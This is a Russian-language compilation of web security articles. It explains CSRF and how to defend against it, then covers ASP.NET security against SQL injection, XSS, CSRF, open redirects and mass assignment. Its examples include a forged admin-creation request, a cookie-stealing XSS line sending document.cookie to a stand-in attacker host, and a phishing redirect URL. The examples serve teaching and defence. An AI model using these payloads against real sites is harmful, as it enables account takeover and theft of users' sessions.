CSRF (Сross Site Request Forgery - подделка межсайтовых запросов) Так же известен как XSRF. Данный вид атак на посетителей интернет-сайтов использует недостатки HTTP протокола. Если жертва зайдет на сайт, который специально был создан злоумышленником, то от ее лица тайно отправится запрос на сторонний сервер (например сервер электронных платежей), осуществляющий некую вредоносную операцию (перевод денег на счет взломщика). Для успеха данной атаки, жертва должна быть авторизована на сервере, на который отправится запрос. Сам запрос не должен требовать подтверждения со стороны пользователя.

Вопреки бытующему мнения, данный тип атак появился весьма давно. Теоретические рассуждения по этому вопросу появились еще в 1988 году, а первые уязвимости обнаружили в 2000 году.

Одним из применений CSRF является эксплуатация пассивных XSS, обнаруженных на другом сервере. Возможны так же спам-рассылки от лица жертвы, изменение настроек учетной записи на другом сайте.

Самым простым способом защиты от подобного типа атак является механизм, когда сайт требует подтверждения почти всех действий пользователя.

Другим способом защиты является механизм, когда с сессией пользователя ассоциируется секретный ключ, необходимый для выполнения POST-запросов. Ключ посылается пользователем внутри каждого запроса, при выполнении различных действий, а сервер проверяет данный ключ. Плюс механизма в отсутствии необходимости осуществлять парсинг поля HTTP_REFERER, а следовательно отпадает необходимость учета многих нюансов возможных вариантов отсутствия или присутствия различных элементов этого поля.

Я попытался описать что именно представляет из себя данная уязвимость и, что не маловажно, выполнение каких условий необходимо для проведения атаки типа CSRF.

В данной статье я попытаюсь рассказать о защите от атак данного типа со сторон:

• Со стороны клиента — основные способы защитить себя самому
• Со стороны сервера — правильное проектирование приложения

Если вам интересно как защититься от CSRF то добро пожаловать под кат.

В общем то хочу напомнить, CSRF — это НЕ уязвимость, это вид атаки. И данная атака проводится на конечного пользователя веб приложения с помощью уязвимости в данном приложении, которую можно назвать как «Отсутствие надлежащей проверки источника запроса» (название я придумал сам, не судите строго, но это так). Но здесь и далее я буду называть CSRF уязвимостью и атакой в одном лице так, как это проще, да и именно так принято =)

И раз атака проводится на пользователя, то и пользователю защищаться… шутка =) Дело в том что любой пользователь может снизить возможность проведения данной атаки на любом сайте, которым он пользуется (даже если на этих сайтах нет встроенной защиты от CSRF). Но помимо пользователей, сами разработчики сайтов могут спроектировать свое приложение так, чтобы недопустить возможность проведения данной атаки на своих пользователей.

Рассмотрим защиту с обоих сторон.

Вообщем тут все очень банально:

• Не переходить на ссылки предложенные вам третьими лицами. Это самый банальный совет, я думаю это все и так знают, но решил лишний раз сказать об этом.
• Деавторизовываться по окончанию работы с конкретным сайтом. Даже при наличии уязвимости, злоумшленник не сможет выполнить действия на целевом сайте от вашего имени.
• Использовать отдельный браузер или «приватные или анонимные режимы» для работы с важными сайтами (в идеале использовать по одному браузеру на каждый сайт ^_^ а еще лучше отдельный компьютер:D).

На этом все. Теперь перейдем к главному.

Как уже было сказанно, уязвимость заключается в отсутствии надлежащей проверки источника запроса. То есть при разработке приложения нам нужно встроить функционал проверки этого источника. И чтоже первым делом нам приходит в голову? Правильно! Проверка Referer.

Сразу скажу, для тех кто читает статьи по диагонали. Основывать свою защиту только на проверке этого заголовка — плохо(!). Почему — см. далее.

Для начала разберемся, в чем заключается этот способ.

С сайтами мы работаем по HTTP протоколу. Каждый пакет этого протокола представляет собой набор заголовков + содержимое пакета. Одним из этих заголовков является Referer. Он содержит адрес источника перехода. Банальный пример: у вас открыт сайт A , на данном сайте вы кликаете на ссылку на сайт B , в этот момент при запросе в заголовке Referer будет содержатся адрес сайта A . То есть казалось бы это идеальный механизм для отслеживания откуда пришел пользователь.

А вот хрен. И дело здесь не в том что можно подделать реферер (какой здравомыслящий взломщик будет просить жертву о том, чтобы она подменила реферер и перешла по указанной ссылке). А в том что по моей статистике у около 5% пользователей передача Referer отключенна. То есть либо эти пять процентов не смогут работать с сайтом вообще, либо они будут уязвимы к этой атаке (зависит от политики вашего приложения).

Да, да, да, я знаю о чем вы подумали… Ну и фиг с этими 5%? Пусть будут уязвимы, зато остальные 95% защищены и при этом вы обошлись малой кровью. То есть если реферер содержит адрес нашего приложения либо пуст, то считаем источник подтвержденным? А вот снова хрен! Существуют варианты заставить браузер жертвы выполнить запрос без указания реферера (об этом я написал )! И вуаля! Оказывается все пользователи по-прежнему уязвимы.

Воощем как самостоятельный способ данный метод бессмыслен.

Можно к каждой форме отправке прикрутить капчу, и показывать ее даже для зарегестрированных пользователей, чтобы спасти их от CSRF… Хотя пожалуй, я бы предпочел отдать свой аккаунт хакеру, чем работать в такой системе…

Ну и теперь единственный правильный и надежный способ.

Смысл данного способа заключается в добавлении параметра содержащего некоторый «токенов» к каждой ссылке, форме отправки и проч. А при получении запроса сервер должен проверять наличие данного токена в принятых параметрах. Естественно каждый токен для каждого пользователя должен быть уникальным, а еще лучше если каждый токен будет уникальным.

Один из самых простых и надежных примеров реализации — токен генерируется при каждом запросе новый и устанавливается в cookies пользователя а также добавляется в параметры форм и ссылок на странице:

И затем при получении каждого запроса сравнивается токен из куков и токен указанный в параметрах формы. И если они одинаковы, то источник запроса легален. Затем токен генерируется снова, и снова устанавливается в куки, и т.д. по кругу.

Вообще реализация может быть другая, но проблема в том что переход на токены это довольно сложно так как приходится учитывать каждую ссылку, каждую форму, каждую страницу… Можно защищать только важные страницы/формы/ссылки, но тогда есть шанс какие то из них упустить.

Я лично защищаю только POST формы и очень важные ссылки. То есть POST в моих приложениях не работает без наличия правильного токена. Это избавляет от шанса забыть защитить какую то форму, так как она просто не будет работать и я сразу это замечу.

Надеюсь из данной статьи вы поняли каким образом следует защищаться от CSRF атак.

Да я помню что я обещал в предыдущем сообщении написать про капчу, но, честно говоря, писать про эти капчи у меня уже сил нет. Да и надоело то, что мне, как аналитику ИБ, приходят в личку только предложения по взлому капч, и никакой другой нормальной работы.

В общем буду подниматься в глазах публики, начну писать статьи касательно безопасности. Мой профиль это в основном безопасность веб приложений, поэтому и писать я буду про безопасность веб приложений, в том числе и про уязвимости этих приложений.

Этот цикл статей будет посвящен CSRF уязвимостям . Не слышали такой термин? Значит этот цикл для вас;)

Конечно, нынче уже каждый более менее опытный разработчик наслышан про такие классические уязвимости как:

• SQL injection
• PHP include

Раньше, на заре развития интернета, практически каждое приложение содержало кучу таких уязвимостей. Но с каждым днем становилось все сложней встретить уязвимости такого типа. И взломщики становились все более изощреннее, что приводило к разработкам новых типов и векторов атаки — один из этих типов атаки был выделен в отдельный класс и получил название CSRF.

Зайдем на википедию:

CSRF (англ. Сross Site Request Forgery - «Подделка межсайтовых запросов», также известен как XSRF) - вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника). Для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, который не может быть проигнорирован или подделан атакующим скриптом.

Если более понятным языком, то это атака, при которой злоумышленник пытается вынудить браузер жертвы создать запрос к целевому серверу, втайне от самой жертвы. Схематично это будет выглядеть следующим образом:

Данная атака в чем то похоже на классическую XSS, в которой злоумышленнику необходимо было вынудить жертву перейти по некоторой ссылке на уязвимую страницу. Здесь же необходимо вынудить пользователя перейти на специально подготовленную злоумышленником страницу, на которую был добавлен некоторый код. При выполнении данного кода браузер жертвы совершает некий запрос к другому серверу (допустим под видом загрузки изображения), и тем самым выполняет некие, нужные злоумышленнику, действия.

Опасность CSRF в том, что данное поведение браузеров и всего HTTP протокола является нормальным. К примеру, ведь нормально то, что сайт может на своих страницах содержать картинки с другого сайта. А браузеру неизвестно заранее что именно пытаются заставить его загрузить, действительно картинку, или под видом данной загрузки будет выполнено какое то действие на целевом сайте.

Возьмем, к примеру, целевой сферический сайт в вакууме, который имеет вполне стандартную админку с функцией добавления нового администратора:

Разработчик данной формы ничего не знал об уязвимости CSRF, и защиты от нее он, естественно, не делал. Ну и плюс ко всему (чтобы пример был проще) он передавал данные методом GET. По нажатию кнопки «создать» браузер сформирует запрос к следующей странице:
http://site/admin/?do=add_admin&new_login=NewAdmin&new_pass=NewPass&new_mail=NewAdmin@Mail.Com
И после того как запрос будет выполнен, на данном сайте появится новый администратор. Казалось бы что с того — это вполне обычная функциональность на многих сайтах. Но здесь то и кроется главная ошибка. Жертву можно заставить выполнить данный запрос при заходе на абсолютно другой сайт. Создаем следующую страницу по адресу http://evil/page.html


Обычная страница


С обычным текстом. Но с необычным содержимым



И теперь, если жертва зайдет на http://evil/page.html , то браузер попытается загрузить картинку, но вместо этого выполнит запрос к админ панели, тем самым создав нового администратора. Единственным обязательным условием успешной эксплуатации данной уязвимости является необходимость того, что жертва должна быть авторизована на уязвимом сервере в момент проведения атаки.

С тем, что такое CSRF мы разобрались. Давайте попробуем выделить основные требования для успешного проведения атаки:

• Возможность вынудить жертву перейти на страницу с дополнительным кодом. Или возможность модификации злоумышленником часто посещаемых жертвой страниц (как говорится если гора не идет к Магомету, то…).
• Отсутствие защиты от CSRF на целевом сайте (о ней в ).
• Пользователь в момент атаки должен быть авторизован для действия, которое мы хотим выполнить от его имени.

И на основе этих требований попытаемся построить защиту в следующей статье…

ASP.NET MVC - не самый хайповый, но довольно популярный стек в среде веб-разработчиков. С точки зрения (анти)хакера, его стандартная функциональность дает тебе кое-какой базовый уровень безопасности, но для предохранения от абсолютного большинства хакерских трюков нужна дополнительная защита. В этой статье мы рассмотрим основы, которые должен знать о безопасности ASP.NET-разработчик (будь то Core, MVC, MVC Razor или Web Forms).

Начнем со всем известных видов атак.

Как ни странно, но в 2017 году injection и, в частности, SQL injection находятся на первом месте среди «Toп-10 рисков безопасности OWASP» (Open Web Application Security Project). Этот вид атаки подразумевает, что введенные пользователем данные используются на серверной стороне в качестве параметров запроса.

Пример классической SQL-инъекции скорее характерен именно для приложений Web Forms. От атак помогает защититься использование параметров в качестве значений запроса:

String commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand command = new SqlCommand(commandText, connectionString); command.Parameters["@ID"].Value = customerID;

Если ты разрабатываешь MVC-приложение, то Entity Framework прикрывает некоторые уязвимости. Получить сработавшую в MVC/EF-приложении SQL-инъекцию нужно умудриться. Однако это возможно, если ты выполняешь SQL-код с помощью ExecuteQuery или вызываешь плохо написанные хранимые процедуры.

Несмотря на то что ORM позволяет избежать SQL-инъекции (за исключением приведенных выше примеров), рекомендуется ограничивать атрибутами значения, которые могут принимать поля модели, а значит, и формы. Например, если подразумевается, что в поле может быть введен только текст, то с помощью Regex укажи диапазон ^+$ . А если в поле должны быть введены цифры, то укажи это как требование:

Public string Zip { get; set; }

В Web Forms ограничить значения можно с помощью валидаторов. Пример:

Начиная с.NET 4.5 Web Forms используют Unobtrusive Validation. А это значит, что не требуется писать какой-то дополнительный код для проверки значения формы.

Валидация данных, в частности, может помочь защититься от еще одной всем известной уязвимости под названием cross-site scripting (XSS).

Типичный пример XSS - добавление скрипта в комментарий или запись в гостевую книгу. Выглядеть он может так:

document.location="https://verybadcoolhacker.com/?cookie="+encodeURIComponent(document.cookie)

Как ты понимаешь, в данном примере куки с твоего сайта передаются в качестве параметра на какой-то хакерский ресурс.

В Web Forms можно совершить ошибку с помощью примерно такого кода:

Извините , но пароль ошибочный

Понятно, что вместо username может быть скрипт. Чтобы избежать выполнения скрипта, можно как минимум использовать другое ASP.NET-выражение: , которое энкодит свое содержимое.

Если мы используем Razor, то строки автоматически энкодируются, что сводит возможность реализации XSS к минимуму - хакер сможет ее провернуть, только если ты грубо ошибешься, например используешь @Html.Raw(Model.username) или заюзаешь в своей модели MvcHtmlString вместо string .

Для дополнительной защиты от XSS данные кодируются еще и в коде C#. В.NET Core можно использовать следующие кодеры из пространства имен System.Text.Encodings.Web: HtmlEncoder , JavaScriptEncoder и UrlEncoder .

Следующий пример вернет строку :

String encodedString = HtmlEncoder.Default.Encode("");

В классическом.NET используется HttpUtility.HtmlEncode . А начиная с.NET 4.5 можно сделать AntiXssEncoder энкодером по умолчанию. Делается это добавлением в тег httpRuntime файла web.config одного атрибута:

Таким образом, сохранив старый код HttpUtility.HtmlEncode , мы будем пользоваться новым и более стойким к уязвимостям классом (также в новом коде будут задействованы старые классы HttpServerUtility и HttpResponseHeader).

Рекомендуется кодировать строки не перед сохранением в базу, а перед отображением. Кроме того, если мы используем какую-то строку, введенную пользователем, в качестве параметра для передачи в URL, то обязательно нужно юзать UrlEncoder .

Википедия в «алиэкспрессовском» стиле утверждает, что на русском CSRF звучит как «межсайтовая подделка запроса». При таком типе атаки вредоносный сайт, на который заходит пользователь, отправляет запросы на другой ресурс. На хороший сайт, на котором пользователь зарегистрирован и который он недавно посещал. Может случиться так, что информация об авторизации на хорошем сайте все еще остается в cookie. Тогда вполне может быть совершено и какое-то скрытое вредоносное действие.

Избежать этой атаки в MVC помогает всем известный хелпер @Html.AntiForgeryToken() , добавленный во View, и добавленный перед action контроллера атрибут . Этот способ защиты относится к типу STP (synchronizer token pattern). Суть в том, что при заходе на страницу сервер отправляет пользователю токен, а после того, как пользователь совершает запрос, он вместе с данными отправляет токен серверу обратно для проверки. Токены могут сохраняться как в заголовке, так и в скрытом поле или в кукисах.

Страницы Razor защищены от XSRF/CSRF-атак по умолчанию. А вот если мы используем AJAX-запросы, то есть возможность отправить токены в заголовке. По сравнению с использованием AntiForgeryToken это не так просто. Для настройки этой возможности ASP.NET Core использует сервис Microsoft.AspNetCore.Antiforgery.IAntiforgery . Классические ASP.NET-приложения используют метод AntiForgery.GetTokens для генерации токенов и AntiForgery.Validate для проверки полученных серверной стороной токенов.

Будь осторожен с редиректами! Следующий код очень опасен:

Response.Redirect(Request.QueryString["Url"]);

Атакующий может добавить ссылку на свой сайт. А пользователь же, увидев, что URL начинается с хорошего сайта, может не рассмотреть адрес полностью (особенно если он длинный) и кликнуть ссылку, таким образом перейдя на вредоносный сайт с твоего, хорошего (у тебя же хорошие сайты?). Эта уязвимость может использоваться, в частности, для фишинга. Пример фишинговой ссылки:

Http://www.goodwebsite.com/Redirect?url=http://www.badwebsite.com

Многие пользователи, получив email со ссылкой, смотрят, совпадает ли домен, и совсем не ожидают переброски на злодейский ресурс. А если по редиректу откроется страница с таким же дизайном, то многие пользователи не задумываясь введут свои логин и пароль (решив, что случайно вышли из аккаунта). После чего, кстати, могут быть перенаправлены злоумышленниками обратно на настоящий сайт.

Этот вид атак касается и MVC. В следующем примере происходит проверка на то, является ли ссылка локальной:

Private ActionResult RedirectToLocalPage(string redirectUrl) { if (Url.IsLocalUrl(redirectUrl)) return Redirect(redirectUrl); // ... }

Для защиты от этого типа атак можно использовать и вспомогательный метод LocalRedirect:

Private ActionResult RedirectToLocalPage(string redirectUrl) { return LocalRedirect(redirectUrl); }

В общем, старайся никогда не доверять полученным данным.

Разберем эту уязвимость на примере. Допустим, в нашем веб-сайте есть простая модель с двумя свойствами:

Public class UserModel { public string Name { get; set; } public bool IsAdmin { get; set; } }

И есть обычная и довольно простая вьюшка:

@model UserModel @if (Model.IsAdmin) { You are an admin } else { You are a standard user } Submit

С помощью этой вьюшки можно редактировать только имя пользователя, не так ли?

А теперь давай перейдем к столь же простому коду:

Public IActionResult Vulnerable(int id, UserModel model) { return View("Index", model); }

Все ли здесь нормально? Как оказывается, нет. А все из-за того, что экшен помечен как HttpPost . Чтобы убедится в этом, достаточно открыть утилиту вроде Postman или Fiddler и отправить POST-запрос на адрес с указанием параметров id и IsAdmin. Если мы тестируем локально, то адрес может быть таким: localhost:51696/Home/Vulnerable?id=34&IsAdmin=true.

Как видно на скриншоте, получен доступ к секретной информации (в HTML-коде есть строка You are an admin). Как защититься от этого типа атаки? Самый простой вариант - не попадать в ситуацию, когда с HttpPost передается какой-нибудь объект. А если этого не избежать, нужно быть готовым к тому, что передано может быть все что угодно. Один из вариантов - это создать какой-то отдельный класс для передачи его через HttpPost. Это может быть как базовый класс текущего класса с общедоступными параметрами, так и класс-двойник. В этом классе важные поля можно пометить атрибутом Editable со значением false:

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score!